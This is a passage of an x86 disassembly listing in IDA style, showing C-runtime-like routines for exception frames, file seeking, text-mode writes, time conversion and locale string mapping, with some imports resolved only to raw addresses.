		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C2
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422462:				; CODE XREF: sub_4222C2+6Aj
					; sub_4222C2+7Cj ...
		call	sub_4225B2


loc_422467:				; CODE XREF: sub_4222C2+98j
					; sub_4222C2+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_42246B:				; CODE XREF: sub_4222C2+2Ej
					; sub_4222C2+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4222C2	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422486	proc near		; CODE XREF: sub_421DB1+170p
					; sub_422252+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427900
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4224CD
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_4224CD
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41C8C2
		or	[ebp+var_4], 0FFFFFFFFh


loc_4224CD:				; CODE XREF: sub_422486+2Aj
					; sub_422486+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422486	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4224ED	proc near		; CODE XREF: sub_4222C2+8Fp
					; sub_4222C2+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_42250E
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_42250E:				; CODE XREF: sub_4224ED+12j
		pop	esi
		retn
sub_4224ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422510	proc near		; CODE XREF: sub_41C955+40p
					; sub_42205D+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41CC41
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42254F
		mov	ecx, 2


loc_42254F:				; CODE XREF: sub_422510+38j
		push	ecx
		call	sub_41CC41
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422510	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42255C	proc near		; CODE XREF: sub_421DB1:loc_421F53j
					; sub_4220FB:loc_42210Cj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427910
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DB358
		test	eax, eax
		jz	short loc_4225A4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_4225A0
; ---------------------------------------------------------------------------


loc_422599:				; DATA XREF: ___:00427920o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42259D:				; DATA XREF: ___:00427924o
		mov	esp, [ebp+var_18]


loc_4225A0:				; CODE XREF: sub_42255C+3Bj
		and	[ebp+var_4], 0


loc_4225A4:				; CODE XREF: sub_42255C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_4225AD:				; DATA XREF: ___:00427918o
		jmp	loc_4247C0
sub_42255C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B2	proc near		; CODE XREF: sub_41CAF7+23p
					; sub_41CAF7:loc_41CB62p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427928
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43C8F4
		test	eax, eax
		jz	short loc_4225FA
		mov	[ebp+var_4], 1
		call	eax ; sub_42255C
		jmp	short loc_4225F6
; ---------------------------------------------------------------------------


loc_4225EF:				; DATA XREF: ___:00427938o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4225F3:				; DATA XREF: ___:0042793Co
		mov	esp, [ebp+var_18]


loc_4225F6:				; CODE XREF: sub_4225B2+3Bj
		and	[ebp+var_4], 0


loc_4225FA:				; CODE XREF: sub_4225B2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422603:				; DATA XREF: ___:00427930o
		jmp	sub_42255C
sub_4225B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422608	proc near		; CODE XREF: sub_41CFD3+7p
					; sub_41CFD3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DC948
		push	esi
		cmp	eax, 3
		jnz	short loc_422631
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41DE77
		test	eax, eax
		pop	ecx
		jz	short loc_42262E
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_42262E:				; CODE XREF: sub_422608+1Cj
		push	esi
		jmp	short loc_422658
; ---------------------------------------------------------------------------


loc_422631:				; CODE XREF: sub_422608+Ej
		cmp	eax, 2
		jnz	short loc_422655
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422655
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_422655:				; CODE XREF: sub_422608+2Cj
					; sub_422608+43j
		push	[ebp+arg_0]


loc_422658:				; CODE XREF: sub_422608+27j
		push	0
		push	dword_4DC944
		nop
		call	near ptr 2650000h


loc_422666:				; CODE XREF: sub_422608+24j
					; sub_422608+4Bj
		pop	esi
		leave
		retn
sub_422608	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422669	proc near		; CODE XREF: sub_41D081+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_422725
		cmp	ebx, 8Ah
		jg	loc_422725
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43CDBC[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4226A8
		cmp	edi, 2
		jle	short loc_4226A8
		inc	esi


loc_4226A8:				; CODE XREF: sub_422669+37j
					; sub_422669+3Cj
		call	sub_4247D7
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43CCD8
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_42271B
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_422721
		cmp	dword_43CCDC, 0
		jz	short loc_422721
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_424A4A
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422721


loc_42271B:				; CODE XREF: sub_422669+90j
		add	ecx, dword_43CCE0


loc_422721:				; CODE XREF: sub_422669+96j
					; sub_422669+9Fj ...
		mov	eax, ecx
		jmp	short loc_422728
; ---------------------------------------------------------------------------


loc_422725:				; CODE XREF: sub_422669+13j
					; sub_422669+1Fj
		or	eax, 0FFFFFFFFh


loc_422728:				; CODE XREF: sub_422669+BAj
		pop	ebx
		leave
		retn
sub_422669	endp


; =============== S U B	R O U T	I N E =======================================



sub_42272B	proc near		; CODE XREF: ___:0041D253p
					; sub_41F11C+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DC700
		push	esi
		push	edi
		jnb	short loc_4227AD
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DC600h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_4227AD
		push	eax
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_42276F
		mov	dword_4DB2A8, 9
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------


loc_42276F:				; CODE XREF: sub_42272B+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		nop
		call	near ptr 2760000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_42278F
		nop
		call	near ptr 2670E77h
		jmp	short loc_422791
; ---------------------------------------------------------------------------


loc_42278F:				; CODE XREF: sub_42272B+5Aj
		xor	eax, eax


loc_422791:				; CODE XREF: sub_42272B+62j
		test	eax, eax
		jz	short loc_42279E
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------


loc_42279E:				; CODE XREF: sub_42272B+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_4227C1
; ---------------------------------------------------------------------------


loc_4227AD:				; CODE XREF: sub_42272B+Dj
					; sub_42272B+2Aj
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9


loc_4227BE:				; CODE XREF: sub_42272B+42j
					; sub_42272B+71j
		or	eax, 0FFFFFFFFh


loc_4227C1:				; CODE XREF: sub_42272B+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42272B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227C5	proc near		; CODE XREF: ___:0041D216p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_4227E1
		mov	[edi+4], ebx


loc_4227E1:				; CODE XREF: sub_4227C5+17j
		push	1
		push	ebx
		push	esi
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42284F
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422806
		sub	eax, [edi+4]
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422806:				; CODE XREF: sub_4227C5+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_422840
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DC600[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_422857
		mov	edx, ecx


loc_422831:				; CODE XREF: sub_4227C5+79j
		cmp	edx, eax
		jnb	short loc_422857
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42283D
		inc	[ebp+var_8]


loc_42283D:				; CODE XREF: sub_4227C5+73j
		inc	edx
		jmp	short loc_422831
; ---------------------------------------------------------------------------


loc_422840:				; CODE XREF: sub_4227C5+50j
		test	dl, 80h
		jnz	short loc_422857
		mov	dword_4DB2A8, 16h


loc_42284F:				; CODE XREF: sub_4227C5+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422857:				; CODE XREF: sub_4227C5+68j
					; sub_4227C5+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_422865
		mov	eax, [ebp+var_8]
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422865:				; CODE XREF: sub_4227C5+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_422910
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42287E
		and	[ebp+var_8], edx
		jmp	loc_422910
; ---------------------------------------------------------------------------


loc_42287E:				; CODE XREF: sub_4227C5+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC600h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_42290A
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4228D1
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_4228BC:				; CODE XREF: sub_4227C5+104j
		cmp	eax, ecx
		jnb	short loc_4228CB
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4228C8
		inc	[ebp+arg_0]


loc_4228C8:				; CODE XREF: sub_4227C5+FEj
		inc	eax
		jmp	short loc_4228BC
; ---------------------------------------------------------------------------


loc_4228CB:				; CODE XREF: sub_4227C5+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_422905
; ---------------------------------------------------------------------------


loc_4228D1:				; CODE XREF: sub_4227C5+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_42272B
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4228F8
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4228F8
		test	ch, 4
		jz	short loc_4228FB


loc_4228F8:				; CODE XREF: sub_4227C5+124j
					; sub_4227C5+12Cj
		mov	eax, [edi+18h]


loc_4228FB:				; CODE XREF: sub_4227C5+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_422905:				; CODE XREF: sub_4227C5+10Aj
		jz	short loc_42290A
		inc	[ebp+arg_0]


loc_42290A:				; CODE XREF: sub_4227C5+D9j
					; sub_4227C5:loc_422905j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_422910:				; CODE XREF: sub_4227C5+A4j
					; sub_4227C5+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_422918:				; CODE XREF: sub_4227C5+3Cj
					; sub_4227C5+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4227C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42291D	proc near		; CODE XREF: sub_41D2B4+A2p
					; sub_41DB8B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DC700
		push	esi
		push	edi
		jnb	loc_422AB1
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC600h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_422AB1
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42296E


loc_422967:				; CODE XREF: sub_42291D+177j
		xor	eax, eax
		jmp	loc_422AC5
; ---------------------------------------------------------------------------


loc_42296E:				; CODE XREF: sub_42291D+48j
		test	al, 20h
		jz	short loc_42297E
		push	2
		push	edi
		push	ecx
		call	sub_42272B
		add	esp, 0Ch


loc_42297E:				; CODE XREF: sub_42291D+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_422A4D
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_422A85


loc_42299E:				; CODE XREF: sub_42291D+F5j
		lea	eax, [ebp+var_414]


loc_4229A4:				; CODE XREF: sub_42291D+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4229D8
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4229C3
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_4229C3:				; CODE XREF: sub_42291D+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_4229A4


loc_4229D8:				; CODE XREF: sub_42291D+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 26E0000h
		nop
		test	eax, eax
		jz	short loc_422A42
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_422A14
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42299E


loc_422A14:				; CODE XREF: sub_42291D+EAj
					; sub_42291D+12Ej
		xor	edi, edi


loc_422A16:				; CODE XREF: sub_42291D+150j
					; sub_42291D+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_422AAC
		cmp	[ebp+arg_0], edi
		jz	short loc_422A85
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_422A7A
		mov	dword_4DB2A8, 9
		mov	dword_4DB2AC, eax
		jmp	loc_422AC2
; ---------------------------------------------------------------------------


loc_422A42:				; CODE XREF: sub_42291D+E0j
		nop
		call	near ptr 2670E77h
		mov	[ebp+arg_0], eax
		jmp	short loc_422A14
; ---------------------------------------------------------------------------


loc_422A4D:				; CODE XREF: sub_42291D+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jz	short loc_422A6F
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------


loc_422A6F:				; CODE XREF: sub_42291D+145j
		nop
		call	near ptr 2670E77h
		mov	[ebp+arg_0], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------


loc_422A7A:				; CODE XREF: sub_42291D+10Fj
		push	[ebp+arg_0]
		call	sub_4203DF
		pop	ecx
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------


loc_422A85:				; CODE XREF: sub_42291D+7Bj
					; sub_42291D+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_422A9A
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_422967


loc_422A9A:				; CODE XREF: sub_42291D+16Fj
		mov	dword_4DB2A8, 1Ch
		mov	dword_4DB2AC, edi
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------


loc_422AAC:				; CODE XREF: sub_42291D+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_422AC5
; ---------------------------------------------------------------------------


loc_422AB1:				; CODE XREF: sub_42291D+15j
					; sub_42291D+37j
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9


loc_422AC2:				; CODE XREF: sub_42291D+120j
					; sub_42291D+166j ...
		or	eax, 0FFFFFFFFh


loc_422AC5:				; CODE XREF: sub_42291D+4Cj
					; sub_42291D+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42291D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422ACA	proc near		; CODE XREF: sub_41D5AA+47p
					; sub_41D5AA+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427948
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DB37C, edi
		jnz	short loc_422B40
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	esi, 100h
		push	esi
		push	edi
		nop
		call	near ptr 2630000h
		test	eax, eax
		jz	short loc_422B1E
		mov	dword_4DB37C, ebx
		jmp	short loc_422B40
; ---------------------------------------------------------------------------


loc_422B1E:				; CODE XREF: sub_422ACA+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4CAE5C
		push	esi
		push	edi
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	loc_422C58
		mov	dword_4DB37C, 2


loc_422B40:				; CODE XREF: sub_422ACA+2Ej
					; sub_422ACA+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_422B55
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_422B55:				; CODE XREF: sub_422ACA+79j
		mov	eax, dword_4DB37C
		cmp	eax, 2
		jnz	short loc_422B7C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		jmp	loc_422C5A
; ---------------------------------------------------------------------------


loc_422B7C:				; CODE XREF: sub_422ACA+93j
		cmp	eax, 1
		jnz	loc_422C58
		cmp	[ebp+arg_18], edi
		jnz	short loc_422B92
		mov	eax, dword_4DB374
		mov	[ebp+arg_18], eax


loc_422B92:				; CODE XREF: sub_422ACA+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2820000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_422C58
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422BED
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_422BED:				; CODE XREF: sub_422ACA+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_422C58
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2820000h
		test	eax, eax
		jz	short loc_422C58
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2630000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_422C58
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422C6C
		cmp	[ebp+arg_14], edi
		jz	loc_422CE7
		cmp	esi, [ebp+arg_14]
		jg	short loc_422C58
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2630000h
		nop
		test	eax, eax
		jnz	loc_422CE7


loc_422C58:				; CODE XREF: sub_422ACA+66j
					; sub_422ACA+B5j ...
		xor	eax, eax


loc_422C5A:				; CODE XREF: sub_422ACA+ADj
					; sub_422ACA+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422C6C:				; CODE XREF: sub_422ACA+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422CA0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_422CA0:				; CODE XREF: sub_422ACA+1C2j
		cmp	ebx, edi
		jz	short loc_422C58
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2630000h
		test	eax, eax
		jz	short loc_422C58
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_422CC7
		push	edi
		push	edi
		jmp	short loc_422CCD
; ---------------------------------------------------------------------------


loc_422CC7:				; CODE XREF: sub_422ACA+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_422CCD:				; CODE XREF: sub_422ACA+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	near ptr 2810000h
		nop
		mov	esi, eax
		cmp	esi, edi
		jz	loc_422C58


loc_422CE7:				; CODE XREF: sub_422ACA+165j
					; sub_422ACA+188j
		mov	eax, esi
		jmp	loc_422C5A
sub_422ACA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_422E2F
		test	eax, eax
		pop	ecx
		jz	loc_422E23
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_422E23
		cmp	ebx, 5
		jnz	short loc_422D1F
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_422E2C
; ---------------------------------------------------------------------------


loc_422D1F:				; CODE XREF: ___:00422D11j
		cmp	ebx, 1
		jz	loc_422E1E
		mov	ecx, dword_4DB380
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4DB380, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_422E0E
